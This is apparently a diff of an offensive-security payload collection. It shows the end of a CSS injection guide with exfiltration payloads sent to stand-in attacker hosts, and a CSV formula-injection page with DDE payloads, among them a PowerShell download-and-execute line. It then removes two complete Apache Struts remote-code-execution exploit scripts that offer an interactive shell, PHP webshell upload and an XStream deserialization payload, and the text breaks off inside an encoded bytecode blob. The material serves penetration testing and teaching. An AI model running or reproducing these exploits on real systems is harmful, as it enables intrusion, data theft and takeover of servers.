+  background:url(/collectData?value=1337);
+}
+```
+
+* **Concurrency**: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g., `background`) and the suffix check to another (e.g., `list-style-image` or `border-image`).
+
+### CSS Import at-rule
+
+This technique is known as **Blind CSS Exfiltration**. It relies on importing external stylesheets to trigger callbacks.
+
+```html
+<style>@import url(http://attacker.com/staging?len=32);</style>
+<style>@import'//YOUR-PAYLOAD.oastify.com'</style>
+```
+
+Frames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles.
+
+#### Sequential Import Chaining (SIC)
+
+SIC allows an attacker to chain multiple extraction steps without reloading the page:
+
+1. Inject an initial `@import` rule pointing to a staging payload.
+2. The staging payload holds the connection open (long-polling) while generating the next specific payload.
+3. When a CSS rule matches (e.g., a character is found via `background-image`), the browser makes a request.
+4. The server detects this request and generates the next `@import` rule to continue the chain.
+
+### CSS Conditionals
+
+#### Inline Style Exfiltration
+
+This advanced technique leverages CSS conditionals (like `if()`) and variables to perform logic directly within a style attribute.
+
+Example: Stealing a `data-uid` attribute if it matches a value between 1 and 10.
+
+```html
+<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
+```
+
+### CSS Font-face at-rule
+
+> The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla
+
+The `unicode-range` property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page.
+
+If the character "A" is present, the browser attempts to load the font from `/?A`. If "C" is not present, that request is never made.
+
+```html
+<style>
+@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
+@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
+@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
+#sensitive-information{ font-family:poc; }
+</style>
+<p id="sensitive-information">AB</p>
+```
+
+**Limitations:**
+
+* It cannot distinguish repeated characters (e.g., "AA" triggers the request once).
+* It does not determine the order of characters.
+* Despite these limitations, it is a very reliable oracle for checking character existence.
+* Chrome checked this as "WontFix": [issues/40083029](https://issues.chromium.org/issues/40083029)
+
+### Attribute Extraction via attr()
+
+The CSS `attr()` function allows CSS to retrieve the value of an attribute of the selected element.  With recent updates (see [Advanced attr()](https://developer.chrome.com/blog/advanced-attr)), this function can be used to extract input's value.
+
+Target HTML:
+
+```html
+<html>
+    <head>
+        <link rel="stylesheet" href="http://attacker.local/index.css">
+    </head>
+    <body>
+        <input type="text" name="password" value="supersecret">
+    </body>
+</html>
+```
+
+`index.css` (hosted by attacker):
+
+```css
+input[name="password"] {
+  background: image-set(attr(value))
+}
+```
+
+When `image-set()` is used with `attr()`, the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.
+
+Resulting request on attacker's server:
+
+```ps1
+10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -
+```
+
+### Ligatures
+
+This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.
+
+1. Create a custom font with ligatures for target strings.
+2. Use media queries or scrollbars to detect if the rendered width of the element has changed.
+
+```ps1
+docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest
+```
+
+Payload example using `fontleak` with a custom selector, parent element, and alphabet.
+**Warning**: The CSS selector must match exactly one element in the target page.
+
+```html
+<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>
+```
+
+## Labs
+
+* [Dojo #25 RootCSS - YesWeHack](https://dojo-yeswehack.com/challenge-of-the-month/dojo-25)
+
+## References
+
+* [0CTF 2023 Writeups - Web - newdiary - aszx87410 - December 11, 2023](https://web.archive.org/web/20260208112931/https://blog.huli.tw/2023/12/11/en/0ctf-2023-writeup/)
+* [Bench Press: Leaking Text Nodes with CSS - pspaul - October 20, 2024](https://web.archive.org/web/20250809122224/https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/)
+* [Better Exfiltration via HTML Injection - d0nut - April 11, 2019](https://web.archive.org/web/20260206153955/https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
+* [Blind CSS Exfiltration: exfiltrate unknown web pages - Gareth Heyes - December 5, 2023](https://web.archive.org/web/20231205201432/https://portswigger.net/research/blind-css-exfiltration)
+* [CSS based Attack: Abusing unicode-range of @font-face - Masato Kinugawa - October 23, 2015](https://web.archive.org/web/20260212042745/https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)
+* [CSS Data Exfiltration to Steal OAuth Token - - September 13, 2025](https://web.archive.org/web/20250601232405/https://blog.voorivex.team/css-data-exfiltration-to-steal-oauth-token)
+* [CSS Injection - xsleaks.dev - May 9, 2025](https://web.archive.org/web/20260114161847/https://xsleaks.dev/docs/attacks/css-injection/)
+* [CSS Injection Attacks or how to leak content with <style> - Pepe Vila - 2019](https://web.archive.org/web/20250928084357/https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)
+* [CSS Injection: Attacking with Just CSS (Part 2) - aszx87410 - September 24, 2023](https://web.archive.org/web/20231223213409/https://aszx87410.github.io/beyond-xss/en/ch3/css-injection-2/)
+* [Fontleak: exfiltrating text using CSS and Ligatures - Dragos Albastroiu - April 16, 2025](https://web.archive.org/web/20251130021102/https://adragos.ro/fontleak/)
+* [How you can steal private data through CSS injection - invicti - April 23, 2018](https://web.archive.org/web/20251107094938/https://www.invicti.com/blog/web-security/private-data-stolen-exploiting-css-injection)
+* [Inline Style Exfiltration: leaking data with chained CSS conditionals - Gareth Heyes - August 26, 2025](https://web.archive.org/web/20260226022330/https://portswigger.net/research/inline-style-exfiltration)

CSV Injection/README.md

@@ -2,16 +2,15 @@
 
 > Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
 
-
 ## Summary
 
 * [Methodology](#methodology)
+    * [Google Sheets](#google-sheets)
 * [References](#references)
 
-
 ## Methodology
 
-CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with: 
+CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
 
 ```powershell
 =
@@ -20,10 +19,10 @@ CSV Injection, also known as Formula Injection, is a security vulnerability that
 @
 ```
 
-
 Basic exploits with **Dynamic Data Exchange**.
 
 * Spawn a calc
+
     ```powershell
     DDE ("cmd";"/C calc";"!A0")A0
     @SUM(1+1)*cmd|' /C calc'!A0
@@ -32,11 +31,13 @@ Basic exploits with **Dynamic Data Exchange**.
     ```
 
 * PowerShell download and execute
+
     ```powershell
     =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
     ```
 
 * Prefix obfuscation and command chaining
+
     ```powershell
     =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
     =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
@@ -44,29 +45,48 @@ Basic exploits with **Dynamic Data Exchange**.
     ```
 
 * Using rundll32 instead of cmd
+
     ```powershell
     =rundll32|'URL.dll,OpenURL calc.exe'!A
     =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
     ```
 
 * Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
+
     ```powershell
     =    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A
     ```
 
 Technical details of the above payloads:
 
-- `cmd` is the name the server can respond to whenever a client is trying to access the server
+* `cmd` is the name the server can respond to whenever a client is trying to access the server
-- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
+* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
-- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
+* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
 
+### Google Sheets
+
+Google Sheets allows some additional formulas that are able to fetch remote URLs:
+
+* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
+* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
+* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
+* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
+* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
+
+So one can test blind formula injection or a potential for data exfiltration with:
+
+```c
+=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
+```
+
+Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.
 
 ## References
 
-- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
+* [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://web.archive.org/web/20260211194330/https://owasp.org/www-community/attacks/CSV_Injection)
-- [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
+* [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://web.archive.org/web/20251126193606/https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
-- [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
+* [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://web.archive.org/web/20221205154959/https://payatu.com/csv-injection-basic-to-exploit/)
-- [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
+* [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://web.archive.org/web/20251020005639/https://blog.xpnsec.com/from-csv-to-meterpreter/)
-- [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
+* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](https://web.archive.org/web/20260216175809/https://georgemauer.net/2017/10/07/csv-injection.html)
-- [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
+* [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://web.archive.org/web/20220928031043/https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
-- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
+* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://web.archive.org/web/20260115180627/https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)

CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py

@@ -1,215 +0,0 @@
-#!/usr/bin/python
-
-from __future__ import print_function
-from future import standard_library
-standard_library.install_aliases()
-from builtins import input
-from builtins import str
-import urllib.request, urllib.error, urllib.parse
-import time
-import sys
-import os
-import subprocess
-import requests
-import readline
-import urllib.parse
-
-RED = '\033[1;31m'
-BLUE = '\033[94m'
-BOLD = '\033[1m'
-GREEN = '\033[32m'
-OTRO = '\033[36m'
-YELLOW = '\033[33m'
-ENDC = '\033[0m'
-
-def cls():
-    os.system(['clear', 'cls'][os.name == 'nt'])
-cls()
-
-logo = BLUE+'''
-  ___   _____  ___    _   _  _____  ___
- (  _`\(_   _)|  _`\ ( ) ( )(_   _)(  _`\
- | (_(_) | |  | (_) )| | | |  | |  | (_(_)
- `\__ \  | |  | ,  / | | | |  | |  `\__ \
- ( )_) | | |  | |\ \ | (_) |  | |  ( )_) |
- `\____) (_)  (_) (_)(_____)  (_)  `\____)
-
-        =[ Command Execution v3]=
-              By @s1kr10s
-'''+ENDC
-print(logo)
-
-print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
-host = input(BOLD+" [+] HOST: "+ENDC)
-
-if len(host) > 0:
-    if host.find("https://") != -1 or host.find("http://") != -1:
-
-        poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
-
-        def exploit(comando):
-            exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
-            return exploit
-
-        def exploit2(comando):
-            exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
-            return exploit2
-
-        def exploit3(comando):
-            exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
-            return exploit3
-
-        def pwnd(shellfile):
-            exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
-            return exploitfile
-
-        def validador():
-            arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
-            return arr_lin_win
-
-        #def reversepl(ip,port):
-        #       print "perl"
-
-        #def reversepy(ip,port):
-        #       print "python"
-
-        # CVE-2013-2251 ---------------------------------------------------------------------------------
-        try:
-            response = ''
-            response = urllib.request.urlopen(host+poc)
-        except:
-            print(RED+" Servidor no responde\n"+ENDC)
-            exit(0)
-
-        print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
-
-        if response.read().find("mamalo") != -1:
-            print(RED+"   [-] VULNERABLE"+ENDC)
-            owned = open('vulnsite.txt', 'a')
-            owned.write(str(host)+'\n')
-            owned.close()
-
-            opcion = input(YELLOW+"   [-] RUN THIS EXPLOIT (s/n): "+ENDC)
-            #print BOLD+"   * [SHELL REVERSA]"+ENDC
-            #print OTRO+"     Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
-            if opcion == 's':
-                print(YELLOW+"   [-] GET PROMPT...\n"+ENDC)
-                time.sleep(1)
-                print(BOLD+"   * [UPLOAD SHELL]"+ENDC)
-                print(OTRO+"     Struts@Shell:$ pwnd (php)\n"+ENDC)
-
-                while 1:
-                    separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
-                    espacio = separador.split(' ')
-                    comando = "','".join(espacio)
-
-                    if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
-                        shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
-                        print("\n"+shell.read())
-                    elif espacio[0] == 'pwnd':
-                        pathsave=input("path EJ:/tmp/: ")
-
-                        if espacio[1] == 'php':
-                            shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
-                            urllib.request.urlopen(host+pwnd(str(shellfile)))
-                            shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
-                            if shell.read().find(pathsave+"status.php") != -1:
-                                print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
-                            else:
-                                print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
-
-        # CVE-2017-5638 ---------------------------------------------------------------------------------
-        print(BLUE+"     [-] NO VULNERABLE"+ENDC)
-        print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
-        x = 0
-        while x < len(validador()):
-            valida = validador()[x]
-
-            try:
-                req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
-                result = urllib.request.urlopen(req).read()
-
-                if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
-                    print(RED+"   [-] VULNERABLE"+ENDC)
-                    owned = open('vulnsite.txt', 'a')
-                    owned.write(str(host)+'\n')
-                    owned.close()
-
-                    opcion = input(YELLOW+"   [-] RUN THIS EXPLOIT (s/n): "+ENDC)
-                    if opcion == 's':
-                        print(YELLOW+"   [-] GET PROMPT...\n"+ENDC)
-                        time.sleep(1)
-
-                        while 1:
-                            try:
-                                separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
-                                req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
-                                result = urllib.request.urlopen(req).read()
-                                print("\n"+result)
-                            except:
-                                exit(0)
-                    else:
-                        x = len(validador())
-                else:
-                    print(BLUE+"     [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
-            except:
-                pass
-            x=x+1
-
-        # CVE-2018-11776 ---------------------------------------------------------------------------------
-        print(BLUE+"     [-] NO VULNERABLE"+ENDC)
-        print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
-        x = 0
-        while x < len(validador()):
-            #Filtramos la url solo dominio
-            url = host.replace('#', '%23')
-            url = host.replace(' ', '%20')
-            if ('://' not in url):
-                url = str("http://") + str(url)
-            scheme = urllib.parse.urlparse(url).scheme
-            site = scheme + '://' + urllib.parse.urlparse(url).netloc
-
-            #Filtramos la url solo path
-            file_path = urllib.parse.urlparse(url).path
-            if (file_path == ''):
-                file_path = '/'
-
-            valida = validador()[x]
-            try:
-                result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
-
-                if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
-                    print(RED+"   [-] VULNERABLE"+ENDC)
-                    owned = open('vulnsite.txt', 'a')
-                    owned.write(str(host)+'\n')
-                    owned.close()
-
-                    opcion = input(YELLOW+"   [-] RUN THIS EXPLOIT (s/n): "+ENDC)
-                    if opcion == 's':
-                        print(YELLOW+"   [-] GET PROMPT...\n"+ENDC)
-                        time.sleep(1)
-                        print(BOLD+"   * [UPLOAD SHELL]"+ENDC)
-                        print(OTRO+"     Struts@Shell:$ pwnd (php)\n"+ENDC)
-
-                        while 1:
-                            separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
-                            espacio = separador.split(' ')
-                            comando = "%20".join(espacio)
-
-                            shell = urllib.request.urlopen(host+exploit3(str(comando)))
-                            print("\n"+shell.read())
-
-                    else:
-                        x = len(validador())
-                        exit(0)
-                else:
-                    print(BLUE+"     [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
-            except:
-                pass
-            x=x+1
-    else:
-        print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
-        exit(0)
-else:
-    print(RED+" Debe Ingresar una Url\n"+ENDC)
-    exit(0)

CVE Exploits/Apache Struts 2 CVE-2017-9805.py

@@ -1,326 +0,0 @@
-#!/usr/bin/env python3
-# coding=utf-8
-# *****************************************************
-# struts-pwn: Apache Struts CVE-2017-9805 Exploit
-# Author:
-# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
-# This code is based on:
-# https://github.com/rapid7/metasploit-framework/pull/8924
-# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
-# *****************************************************
-from __future__ import print_function
-from builtins import str
-import argparse
-import requests
-import sys
-
-# Disable SSL warnings
-try:
-    import requests.packages.urllib3
-    requests.packages.urllib3.disable_warnings()
-except Exception:
-    pass
-
-if len(sys.argv) <= 1:
-    print('[*] CVE: 2017-9805 - Apache Struts2 S2-052')
-    print('[*] Struts-PWN - @mazen160')
-    print('\n%s -h for help.' % (sys.argv[0]))
-    exit(0)
-
-parser = argparse.ArgumentParser()
-parser.add_argument("-u", "--url",
-                    dest="url",
-                    help="Check a single URL.",
-                    action='store')
-parser.add_argument("-l", "--list",
-                    dest="usedlist",
-                    help="Check a list of URLs.",
-                    action='store')
-parser.add_argument("-c", "--cmd",
-                    dest="cmd",
-                    help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')",
-                    action='store',
-                    default='echo test > /tmp/struts-pwn')
-parser.add_argument("--exploit",
-                    dest="do_exploit",
-                    help="Exploit.",
-                    action='store_true')
-args = parser.parse_args()
-url = args.url if args.url else None
-usedlist = args.usedlist if args.usedlist else None
-url = args.url if args.url else None
-cmd = args.cmd if args.cmd else None
-do_exploit = args.do_exploit if args.do_exploit else None
-
-
-def url_prepare(url):
-    url = url.replace('#', '%23')
-    url = url.replace(' ', '%20')
-    if ('://' not in url):
-        url = str('http') + str('://') + str(url)
-    return(url)
-
-
-def exploit(url, cmd, dont_print_status_on_console=False):
-    url = url_prepare(url)
-    if dont_print_status_on_console is False:
-        print('\n[*] URL: %s' % (url))
-        print('[*] CMD: %s' % (cmd))
-    cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])
-
-    payload = """
-<map>
-  <entry>
-    <jdk.nashorn.internal.objects.NativeString>
-      <flags>0</flags>
-      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
-        <dataHandler>
-          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
-            <is class="javax.crypto.CipherInputStream">
-              <cipher class="javax.crypto.NullCipher">
-                <initialized>false</initialized>
-                <opmode>0</opmode>
-                <serviceIterator class="javax.imageio.spi.FilterIterator">
-                  <iter class="javax.imageio.spi.FilterIterator">
-                    <iter class="java.util.Collections$EmptyIterator"/>
-                    <next class="java.lang.ProcessBuilder">
-                      <command>
-                        {0}
-                      </command>
-                      <redirectErrorStream>false</redirectErrorStream>
-                    </next>
-                  </iter>
-                  <filter class="javax.imageio.ImageIO$ContainsFilter">
-                    <method>
-                      <class>java.lang.ProcessBuilder</class>
-                      <name>start</name>
-                      <parameter-types/>
-                    </method>
-                    <name>foo</name>
-                  </filter>
-                  <next class="string">foo</next>
-                </serviceIterator>
-                <lock/>
-              </cipher>
-              <input class="java.lang.ProcessBuilder$NullInputStream"/>
-              <ibuffer/>
-              <done>false</done>
-              <ostart>0</ostart>
-              <ofinish>0</ofinish>
-              <closed>false</closed>
-            </is>
-            <consumed>false</consumed>
-          </dataSource>
-          <transferFlavors/>
-        </dataHandler>
-        <dataLen>0</dataLen>
-      </value>
-    </jdk.nashorn.internal.objects.NativeString>
-    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
-  </entry>
-  <entry>
-    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
-    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
-  </entry>
-</map>
-""".format(cmd)
-
-    headers = {
-        'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
-        # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
-        'Referer': str(url),
-        'Content-Type': 'application/xml',
-        'Accept': '*/*'
-    }
-
-    timeout = 3
-    try:
-        output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
-    except Exception as e:
-        print("EXCEPTION::::--> " + str(e))
-        output = 'ERROR'
-    return(output)
-
-
-def check(url):
-    url = url_prepare(url)
-    print('\n[*] URL: %s' % (url))
-
-    initial_request = exploit(url, "", dont_print_status_on_console=True)
-    if initial_request == "ERROR":
-        result = False
-        print("The host does not respond as expected.")
-        return(result)
-
-    payload_sleep_based_10seconds = """
-<map>
-  <entry>
-    <jdk.nashorn.internal.objects.NativeString>
-      <flags>0</flags>
-      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
-        <dataHandler>
-          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
-            <is class="javax.crypto.CipherInputStream">
-              <cipher class="javax.crypto.NullCipher">
-                <initialized>false</initialized>
-                <opmode>0</opmode>
-                <serviceIterator class="javax.imageio.spi.FilterIterator">
-                  <iter class="javax.imageio.spi.FilterIterator">
-                    <iter class="java.util.Collections$EmptyIterator"/>
-                    <next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
-                      <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
-                        <default>
-                          <__name>Pwnr</__name>
-                          <__bytecodes>
-                            <byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
-dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
-EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD
-bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
-bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
-c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
-aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
-YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv
-eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u
-cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t
-L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu
-L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
-KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B
-eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
-L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu
-amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs
